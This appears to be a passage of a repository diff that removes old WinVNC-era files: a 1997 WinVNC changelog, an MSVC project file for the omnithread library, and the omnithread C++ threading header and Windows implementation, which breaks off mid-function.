Changes from revision 12:
The Caps-Lock, Num-Lock and Scroll-Lock keys are now correctly disabled whenever a new
client connects, if that client has keyboard input enabled.
Left and right versions of the Shift, Alt and Control keys can now be distinguished.
The right and middle mouse buttons can now be set to trigger updates, although by default
these options are not used.
Version 3.3.1 (VNC Version 3.3, revision 12)
Changes from revision 10:
It is now no longer possible to accept unauthenticated incoming connections.
If WinVNC fails to access the local root window then any remote connection will be refused.
Version 3.3.1 (VNC Version 3.3, revision 10)
Changes from revision 9:
Black-background initial update bug is now fixed.
Border redrawing bug is now fixed.
Version 3.3.1 (VNC Version 3.3, revision 9)
Changes from revision 8:
Local connections to WinVNC servers are now filtered out.
The OMNIthread package is now included as part of the WinVNC source distribution.
The VTypes header file is now included in the WinVNC source distribution.
WM_NCPAINT messages are hooked, resulting in better updates of window borders.
Version 3.3.1 (VNC Version 3.3, revision 8)
Changes from revision 5:
The resource leak while rendering the mouse pointer has been fixed.
The WinVNC tray icon changes colour when there is a remote connection.
An Apply button has been added to the Properties dialog so that it can be used as the main
WinVNC window on Windows NT 3.51 (or any other system without a system tray.)
The Non-CORBA installer now generates an uninstall option properly.
WinVNC may now be run in a view-only mode, in which remote users have no control.
Version 3.3.1 (VNC Version 3.3, revision 5)
Changes from revision 4:
The machine name is now converted to lowercase to get the desktop name.
The CORBA control object is properly removed from the Naming Service on exit.
Version 3.3.1 (VNC Version 3.3, revision 4)
Changes from revision 1:
WinVNC now warns if no password has been set for the current user.
Version 3.3.1 (VNC Version 3.3, revision 1)
Changes from version 3.05:
WinVNC now listens on a socket for incoming HTTP connections and produces HTML accordingly.
This allows the server to be connected to from any web browser that supports Java, without
any plug-ins or other software having to be installed on the client system.
The server now copes gracefully with the absence of a valid CORBA setup and warns the user.
Any previous, running instance of WinVNC is detected, to prevent further instances from
running.
The new, DES-based authentication scheme is used. This results in incompatibility with VNC
clients using version 3.2 or lower of the protocol. To avoid this problem, connect via the
HTTP interface, which provides the correct version of the Java viewer. Version 3.3+ based
clients will handle the new scheme correctly.
Shared VNC client connections are now fully supported.
James "Wez" Weatherall
7 November 1997

View File

@ -1,201 +0,0 @@
# Microsoft Developer Studio Project File - Name="omnithread" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **
# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
CFG=omnithread - Win32 Profile
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "omnithread.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "omnithread.mak" CFG="omnithread - Win32 Profile"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
!MESSAGE "omnithread - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "omnithread - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "omnithread - Win32 Release CORBA" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "omnithread - Win32 Release CORBA DEBUG" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "omnithread - Win32 Profile" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE
# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe
!IF "$(CFG)" == "omnithread - Win32 Release"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "Release"
# PROP BASE Intermediate_Dir "Release"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "..\Release"
# PROP Intermediate_Dir "..\Release"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /I "." /D "NDEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
# ADD LINK32 /nologo /dll /machine:I386 /out:"..\Release/othread2.dll"
!ELSEIF "$(CFG)" == "omnithread - Win32 Debug"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "Debug"
# PROP BASE Intermediate_Dir "Debug"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "..\Debug"
# PROP Intermediate_Dir "..\Debug"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /YX /FD /GZ /c
# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "." /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c
# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "_DEBUG"
# ADD RSC /l 0x809 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
# ADD LINK32 /nologo /dll /debug /machine:I386 /out:"..\Debug/othread2d.dll" /pdbtype:sept
!ELSEIF "$(CFG)" == "omnithread - Win32 Release CORBA"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "omnithread___Win32_Release_CORBA"
# PROP BASE Intermediate_Dir "omnithread___Win32_Release_CORBA"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "..\Release_CORBA"
# PROP Intermediate_Dir "..\Release_CORBA"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MT /W3 /GX /O2 /I "." /D "NDEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /I "." /D "NDEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
# ADD LINK32 /nologo /dll /machine:I386 /out:"..\Release_CORBA/othread2.dll"
!ELSEIF "$(CFG)" == "omnithread - Win32 Release CORBA DEBUG"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "omnithread___Win32_Release_CORBA_DEBUG"
# PROP BASE Intermediate_Dir "omnithread___Win32_Release_CORBA_DEBUG"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "..\Release_CORBA_DEBUG"
# PROP Intermediate_Dir "..\Release_CORBA_DEBUG"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "." /D "NDEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD CPP /nologo /MDd /W3 /GX /ZI /Od /I "." /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 /nologo /dll /machine:I386 /out:"..\Release_CORBA/omnithread2_rt.dll"
# ADD LINK32 /nologo /dll /incremental:yes /debug /machine:I386 /out:"..\Release_CORBA_DEBUG/othread2d.dll"
!ELSEIF "$(CFG)" == "omnithread - Win32 Profile"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "omnithread___Win32_Profile"
# PROP BASE Intermediate_Dir "omnithread___Win32_Profile"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "..\Profile"
# PROP Intermediate_Dir "..\Profile"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "." /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c
# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "." /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c
# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "_DEBUG"
# ADD RSC /l 0x809 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 /nologo /dll /debug /machine:I386 /out:"..\Debug/omnithread2_rtd.dll" /pdbtype:sept
# ADD LINK32 /nologo /dll /profile /debug /machine:I386 /out:"..\Profile/othread2d.dll"
!ENDIF
# Begin Target
# Name "omnithread - Win32 Release"
# Name "omnithread - Win32 Debug"
# Name "omnithread - Win32 Release CORBA"
# Name "omnithread - Win32 Release CORBA DEBUG"
# Name "omnithread - Win32 Profile"
# Begin Group "Source Files"
# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Source File
SOURCE=.\omnithread\nt.cpp
# End Source File
# End Group
# Begin Group "Header Files"
# PROP Default_Filter "h;hpp;hxx;hm;inl"
# Begin Source File
SOURCE=.\omnithread\nt.h
# End Source File
# Begin Source File
SOURCE=.\omnithread.h
# End Source File
# End Group
# Begin Group "Resource Files"
# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
# End Group
# End Target
# End Project

View File

@ -1,538 +0,0 @@
// Package : omnithread
// omnithread.h Created : 7/94 tjr
//
// Copyright (C) 1994,1995,1996, 1997 Olivetti & Oracle Research Laboratory
//
// This file is part of the omnithread library
//
// The omnithread library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Library General Public
// License as published by the Free Software Foundation; either
// version 2 of the License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// Library General Public License for more details.
//
// You should have received a copy of the GNU Library General Public
// License along with this library; if not, write to the Free
// Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
// 02111-1307, USA
//
//
// Interface to OMNI thread abstraction.
//
// This file declares classes for threads and synchronisation objects
// (mutexes, condition variables and counting semaphores).
//
// Wherever a seemingly arbitrary choice has had to be made as to the interface
// provided, the intention here has been to be as POSIX-like as possible. This
// is why there is no semaphore timed wait, for example.
//
#ifndef __omnithread_h_
#define __omnithread_h_
#ifndef NULL
#define NULL (void*)0
#endif
class omni_mutex;
class omni_condition;
class omni_semaphore;
class omni_thread;
//
// OMNI_THREAD_EXPOSE can be defined as public or protected to expose the
// implementation class - this may be useful for debugging. Hopefully this
// won't change the underlying structure which the compiler generates so that
// this can work without recompiling the library.
//
#ifndef OMNI_THREAD_EXPOSE
#define OMNI_THREAD_EXPOSE private
#endif
//
// Include implementation-specific header file.
//
// This must define 4 CPP macros of the form OMNI_x_IMPLEMENTATION for mutex,
// condition variable, semaphore and thread. Each should define any
// implementation-specific members of the corresponding classes.
//
#if defined(__arm__) && defined(__atmos__)
#include <omnithread/posix.h>
#elif defined(__alpha__) && defined(__osf1__)
#include <omnithread/posix.h>
#elif defined(__powerpc__) && defined(__aix__)
#include <omnithread/posix.h>
#elif defined(__hpux__)
#include <omnithread/posix.h>
#elif defined(__WIN32__)
#if defined(__POSIX_NT__)
#include <omnithread/posix.h>
#else
#include <omnithread/nt.h>
#endif
#ifdef _MSC_VER
// Using MSVC++ to compile. If compiling library as a DLL,
// define _OMNITHREAD_DLL. If compiling as a statuc library, define
// _WINSTATIC
// If compiling an application that is to be statically linked to omnithread,
// define _WINSTATIC (if the application is to be dynamically linked,
// there is no need to define any of these macros).
#if defined (_OMNITHREAD_DLL) && defined(_WINSTATIC)
#error "Both _OMNITHREAD_DLL and _WINSTATIC are defined."
#elif defined(_OMNITHREAD_DLL)
#define _OMNITHREAD_NTDLL_ __declspec(dllexport)
#elif !defined(_WINSTATIC)
#define _OMNITHREAD_NTDLL_ __declspec(dllimport)
#elif defined(_WINSTATIC)
#define _OMNITHREAD_NTDLL_
#endif
// _OMNITHREAD_DLL && _WINSTATIC
#else
// Not using MSVC++ to compile
#define _OMNITHREAD_NTDLL_
#endif
// _MSC_VER
#elif defined(__sunos__)
#if __OSVERSION__ != 5
// XXX Workaround for SUN C++ compiler (seen on 4.2) Template.DB code
// regeneration bug. See omniORB2/CORBA_sysdep.h for details.
#if !defined(__SUNPRO_CC) || __OSVERSION__ != '5'
#error "Only SunOS 5.x or later is supported."
#endif
#endif
#ifdef UsePthread
#include <omnithread/posix.h>
#else
#include <omnithread/solaris.h>
#endif
#elif defined(__linux__)
#include <omnithread/posix.h>
#elif defined(__nextstep__)
#include <omnithread/mach.h>
#elif defined(__VMS)
#include <omnithread/posix.h>
#elif defined(__SINIX__)
#include <omnithread/posix.h>
#elif defined(__osr5__)
#include <omnithread/posix.h>
#elif defined(__uw7__)
#include <omnithread/posix.h>
#elif defined(__irix__)
#include <omnithread/posix.h>
#elif defined(__freebsd__)
#include <omnithread/posix.h>
#elif defined(__rtems__)
#include <omnithread/posix.h>
#include <sched.h>
#else
#error "No implementation header file"
#endif
#if !defined(__WIN32__)
#define _OMNITHREAD_NTDLL_
#endif
#if (!defined(OMNI_MUTEX_IMPLEMENTATION) || \
!defined(OMNI_CONDITION_IMPLEMENTATION) || \
!defined(OMNI_SEMAPHORE_IMPLEMENTATION) || \
!defined(OMNI_THREAD_IMPLEMENTATION))
#error "Implementation header file incomplete"
#endif
//
// This exception is thrown in the event of a fatal error.
//
class _OMNITHREAD_NTDLL_ omni_thread_fatal {
public:
int error;
omni_thread_fatal(int e = 0) : error(e) {}
};
//
// This exception is thrown when an operation is invoked with invalid
// arguments.
//
class _OMNITHREAD_NTDLL_ omni_thread_invalid {};
///////////////////////////////////////////////////////////////////////////
//
// Mutex
//
///////////////////////////////////////////////////////////////////////////
class _OMNITHREAD_NTDLL_ omni_mutex {
public:
omni_mutex(void);
~omni_mutex(void);
void lock(void);
void unlock(void);
void acquire(void) { lock(); }
void release(void) { unlock(); }
// the names lock and unlock are preferred over acquire and release
// since we are attempting to be as POSIX-like as possible.
friend class omni_condition;
private:
// dummy copy constructor and operator= to prevent copying
omni_mutex(const omni_mutex&);
omni_mutex& operator=(const omni_mutex&);
OMNI_THREAD_EXPOSE:
OMNI_MUTEX_IMPLEMENTATION
};
//
// As an alternative to:
// {
// mutex.lock();
// .....
// mutex.unlock();
// }
//
// you can use a single instance of the omni_mutex_lock class:
//
// {
// omni_mutex_lock l(mutex);
// ....
// }
//
// This has the advantage that mutex.unlock() will be called automatically
// when an exception is thrown.
//
class _OMNITHREAD_NTDLL_ omni_mutex_lock {
omni_mutex& mutex;
public:
omni_mutex_lock(omni_mutex& m) : mutex(m) { mutex.lock(); }
~omni_mutex_lock(void) { mutex.unlock(); }
private:
// dummy copy constructor and operator= to prevent copying
omni_mutex_lock(const omni_mutex_lock&);
omni_mutex_lock& operator=(const omni_mutex_lock&);
};
///////////////////////////////////////////////////////////////////////////
//
// Condition variable
//
///////////////////////////////////////////////////////////////////////////
class _OMNITHREAD_NTDLL_ omni_condition {
omni_mutex* mutex;
public:
omni_condition(omni_mutex* m);
// constructor must be given a pointer to an existing mutex. The
// condition variable is then linked to the mutex, so that there is an
// implicit unlock and lock around wait() and timed_wait().
~omni_condition(void);
void wait(void);
// wait for the condition variable to be signalled. The mutex is
// implicitly released before waiting and locked again after waking up.
// If wait() is called by multiple threads, a signal may wake up more
// than one thread. See POSIX threads documentation for details.
int timedwait(unsigned long secs, unsigned long nanosecs = 0);
// timedwait() is given an absolute time to wait until. To wait for a
// relative time from now, use omni_thread::get_time. See POSIX threads
// documentation for why absolute times are better than relative.
// Returns 1 (true) if successfully signalled, 0 (false) if time
// expired.
void signal(void);
// if one or more threads have called wait(), signal wakes up at least
// one of them, possibly more. See POSIX threads documentation for
// details.
void broadcast(void);
// broadcast is like signal but wakes all threads which have called
// wait().
private:
// dummy copy constructor and operator= to prevent copying
omni_condition(const omni_condition&);
omni_condition& operator=(const omni_condition&);
OMNI_THREAD_EXPOSE:
OMNI_CONDITION_IMPLEMENTATION
};
///////////////////////////////////////////////////////////////////////////
//
// Counting semaphore
//
///////////////////////////////////////////////////////////////////////////
class _OMNITHREAD_NTDLL_ omni_semaphore {
public:
omni_semaphore(unsigned int initial = 1);
~omni_semaphore(void);
void wait(void);
// if semaphore value is > 0 then decrement it and carry on. If it's
// already 0 then block.
int trywait(void);
// if semaphore value is > 0 then decrement it and return 1 (true).
// If it's already 0 then return 0 (false).
void post(void);
// if any threads are blocked in wait(), wake one of them up. Otherwise
// increment the value of the semaphore.
private:
// dummy copy constructor and operator= to prevent copying
omni_semaphore(const omni_semaphore&);
omni_semaphore& operator=(const omni_semaphore&);
OMNI_THREAD_EXPOSE:
OMNI_SEMAPHORE_IMPLEMENTATION
};
//
// A helper class for semaphores, similar to omni_mutex_lock above.
//
class _OMNITHREAD_NTDLL_ omni_semaphore_lock {
omni_semaphore& sem;
public:
omni_semaphore_lock(omni_semaphore& s) : sem(s) { sem.wait(); }
~omni_semaphore_lock(void) { sem.post(); }
private:
// dummy copy constructor and operator= to prevent copying
omni_semaphore_lock(const omni_semaphore_lock&);
omni_semaphore_lock& operator=(const omni_semaphore_lock&);
};
///////////////////////////////////////////////////////////////////////////
//
// Thread
//
///////////////////////////////////////////////////////////////////////////
class _OMNITHREAD_NTDLL_ omni_thread {
public:
enum priority_t {
PRIORITY_LOW,
PRIORITY_NORMAL,
PRIORITY_HIGH
};
enum state_t {
STATE_NEW, // thread object exists but thread hasn't
// started yet.
STATE_RUNNING, // thread is running.
STATE_TERMINATED // thread has terminated but storage has not
// been reclaimed (i.e. waiting to be joined).
};
//
// Constructors set up the thread object but the thread won't start until
// start() is called. The create method can be used to construct and start
// a thread in a single call.
//
omni_thread(void (*fn)(void*), void* arg = NULL,
priority_t pri = PRIORITY_NORMAL);
omni_thread(void* (*fn)(void*), void* arg = NULL,
priority_t pri = PRIORITY_NORMAL);
// these constructors create a thread which will run the given function
// when start() is called. The thread will be detached if given a
// function with void return type, undetached if given a function
// returning void*. If a thread is detached, storage for the thread is
// reclaimed automatically on termination. Only an undetached thread
// can be joined.
void start(void);
// start() causes a thread created with one of the constructors to
// start executing the appropriate function.
protected:
omni_thread(void* arg = NULL, priority_t pri = PRIORITY_NORMAL);
// this constructor is used in a derived class. The thread will
// execute the run() or run_undetached() member functions depending on
// whether start() or start_undetached() is called respectively.
void start_undetached(void);
// can be used with the above constructor in a derived class to cause
// the thread to be undetached. In this case the thread executes the
// run_undetached member function.
virtual ~omni_thread(void);
// destructor cannot be called by user (except via a derived class).
// Use exit() or cancel() instead. This also means a thread object must
// be allocated with new - it cannot be statically or automatically
// allocated. The destructor of a class that inherits from omni_thread
// shouldn't be public either (otherwise the thread object can be
// destroyed while the underlying thread is still running).
public:
void join(void**);
// join causes the calling thread to wait for another's completion,
// putting the return value in the variable of type void* whose address
// is given (unless passed a null pointer). Only undetached threads
// may be joined. Storage for the thread will be reclaimed.
void set_priority(priority_t);
// set the priority of the thread.
static omni_thread* create(void (*fn)(void*), void* arg = NULL,
priority_t pri = PRIORITY_NORMAL);
static omni_thread* create(void* (*fn)(void*), void* arg = NULL,
priority_t pri = PRIORITY_NORMAL);
// create spawns a new thread executing the given function with the
// given argument at the given priority. Returns a pointer to the
// thread object. It simply constructs a new thread object then calls
// start.
static void exit(void* return_value = NULL);
// causes the calling thread to terminate.
static omni_thread* self(void);
// returns the calling thread's omni_thread object.
// If the calling thread is not the main thread and
// is not created using this library, returns 0.
static void yield(void);
// allows another thread to run.
static void sleep(unsigned long secs, unsigned long nanosecs = 0);
// sleeps for the given time.
static void get_time(unsigned long* abs_sec, unsigned long* abs_nsec,
unsigned long rel_sec = 0, unsigned long rel_nsec=0);
// calculates an absolute time in seconds and nanoseconds, suitable for
// use in timed_waits on condition variables, which is the current time
// plus the given relative offset.
static void stacksize(unsigned long sz);
static unsigned long stacksize();
// Use this value as the stack size when spawning a new thread.
// The default value (0) means that the thread library default is
// to be used.
private:
virtual void run(void* arg) {}
virtual void* run_undetached(void* arg) { return NULL; }
// can be overridden in a derived class. When constructed using the
// the constructor omni_thread(void*, priority_t), these functions are
// called by start() and start_undetached() respectively.
void common_constructor(void* arg, priority_t pri, int det);
// implements the common parts of the constructors.
omni_mutex mutex;
// used to protect any members which can change after construction,
// i.e. the following 2 members:
state_t _state;
priority_t _priority;
static omni_mutex* next_id_mutex;
static int next_id;
int _id;
void (*fn_void)(void*);
void* (*fn_ret)(void*);
void* thread_arg;
int detached;
public:
priority_t priority(void) {
// return this thread's priority.
omni_mutex_lock l(mutex);
return _priority;
}
state_t state(void) {
// return thread state (invalid, new, running or terminated).
omni_mutex_lock l(mutex);
return _state;
}
int id(void) { return _id; }
// return unique thread id within the current process.
// This class plus the instance of it declared below allows us to execute
// some initialisation code before main() is called.
class _OMNITHREAD_NTDLL_ init_t {
static int count;
public:
init_t(void);
};
friend class init_t;
OMNI_THREAD_EXPOSE:
OMNI_THREAD_IMPLEMENTATION
};
#ifndef __rtems__
static omni_thread::init_t omni_thread_init;
#else
// RTEMS calls global Ctor/Dtor in a context that is not
// a posix thread. Calls to functions to pthread_self() in
// that context returns NULL.
// So, for RTEMS we will make the thread initialization at the
// beginning of the Init task that has a posix context.
#endif
#endif

View File

@ -1,883 +0,0 @@
// Package : omnithread
// omnithread/nt.cc Created : 6/95 tjr
//
// Copyright (C) 1995-1999 AT&T Laboratories Cambridge
//
// This file is part of the omnithread library
//
// The omnithread library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Library General Public
// License as published by the Free Software Foundation; either
// version 2 of the License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// Library General Public License for more details.
//
// You should have received a copy of the GNU Library General Public
// License along with this library; if not, write to the Free
// Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
// 02111-1307, USA
//
//
// Implementation of OMNI thread abstraction for NT threads
//
#include <stdlib.h>
#include <errno.h>
#include <omnithread.h>
#include <process.h>
#define DB(x) // x
//#include <iostream.h> or #include <iostream> if DB is on.
static void get_time_now(unsigned long* abs_sec, unsigned long* abs_nsec);
///////////////////////////////////////////////////////////////////////////
//
// Mutex
//
///////////////////////////////////////////////////////////////////////////
omni_mutex::omni_mutex(void)
{
InitializeCriticalSection(&this->crit);
}
omni_mutex::~omni_mutex(void)
{
if( TryEnterCriticalSection(&this->crit) )
LeaveCriticalSection(&this->crit);
DeleteCriticalSection(&this->crit);
}
void
omni_mutex::lock(void)
{
EnterCriticalSection(&this->crit);
}
void
omni_mutex::unlock(void)
{
LeaveCriticalSection(&this->crit);
}
///////////////////////////////////////////////////////////////////////////
//
// Condition variable
//
///////////////////////////////////////////////////////////////////////////
//
// Condition variables are tricky to implement using NT synchronisation
// primitives, since none of them have the atomic "release mutex and wait to be
// signalled" which is central to the idea of a condition variable. To get
// around this the solution is to record which threads are waiting and
// explicitly wake up those threads.
//
// Here we implement a condition variable using a list of waiting threads
// (protected by a critical section), and a per-thread semaphore (which
// actually only needs to be a binary semaphore).
//
// To wait on the cv, a thread puts itself on the list of waiting threads for
// that cv, then releases the mutex and waits on its own personal semaphore. A
// signalling thread simply takes a thread from the head of the list and kicks
// that thread's semaphore. Broadcast is simply implemented by kicking the
// semaphore of each waiting thread.
//
// The only other tricky part comes when a thread gets a timeout from a timed
// wait on its semaphore. Between returning with a timeout from the wait and
// entering the critical section, a signalling thread could get in, kick the
// waiting thread's semaphore and remove it from the list. If this happens,
// the waiting thread's semaphore is now out of step so it needs resetting, and
// the thread should indicate that it was signalled rather than that it timed
// out.
//
// It is possible that the thread calling wait or timedwait is not a
// omni_thread. In this case we have to provide a temporary data structure,
// i.e. for the duration of the call, for the thread to link itself on the
// list of waiting threads. _internal_omni_thread_dummy provides such
// a data structure and _internal_omni_thread_helper is a helper class to
// deal with this special case for wait() and timedwait(). Once created,
// the _internal_omni_thread_dummy is cached for use by the next wait() or
// timedwait() call from a non-omni_thread. This is probably worth doing
// because creating a Semaphore is quite heavy weight.
class _internal_omni_thread_helper;
class _internal_omni_thread_dummy : public omni_thread {
public:
inline _internal_omni_thread_dummy() : next(0) { }
inline ~_internal_omni_thread_dummy() { }
friend class _internal_omni_thread_helper;
private:
_internal_omni_thread_dummy* next;
};
class _internal_omni_thread_helper {
public:
inline _internal_omni_thread_helper() {
d = 0;
t = omni_thread::self();
if (!t) {
omni_mutex_lock sync(cachelock);
if (cache) {
d = cache;
cache = cache->next;
}
else {
d = new _internal_omni_thread_dummy;
}
t = d;
}
}
inline ~_internal_omni_thread_helper() {
if (d) {
omni_mutex_lock sync(cachelock);
d->next = cache;
cache = d;
}
}
inline operator omni_thread* () { return t; }
inline omni_thread* operator->() { return t; }
static _internal_omni_thread_dummy* cache;
static omni_mutex cachelock;
private:
_internal_omni_thread_dummy* d;
omni_thread* t;
};
_internal_omni_thread_dummy* _internal_omni_thread_helper::cache = 0;
omni_mutex _internal_omni_thread_helper::cachelock;
omni_condition::omni_condition(omni_mutex* m) : mutex(m)
{
InitializeCriticalSection(&crit);
waiting_head = waiting_tail = NULL;
}
omni_condition::~omni_condition(void)
{
DeleteCriticalSection(&crit);
DB( if (waiting_head != NULL) {
cerr << "omni_condition::~omni_condition: list of waiting threads "
<< "is not empty\n";
} )
}
void
omni_condition::wait(void)
{
_internal_omni_thread_helper me;
EnterCriticalSection(&crit);
me->cond_next = NULL;
me->cond_prev = waiting_tail;
if (waiting_head == NULL)
waiting_head = me;
else
waiting_tail->cond_next = me;
waiting_tail = me;
me->cond_waiting = TRUE;
LeaveCriticalSection(&crit);
mutex->unlock();
DWORD result = WaitForSingleObject(me->cond_semaphore, INFINITE);
mutex->lock();
if (result != WAIT_OBJECT_0)
throw omni_thread_fatal(GetLastError());
}
int
omni_condition::timedwait(unsigned long abs_sec, unsigned long abs_nsec)
{
_internal_omni_thread_helper me;
EnterCriticalSection(&crit);
me->cond_next = NULL;
me->cond_prev = waiting_tail;
if (waiting_head == NULL)
waiting_head = me;
else
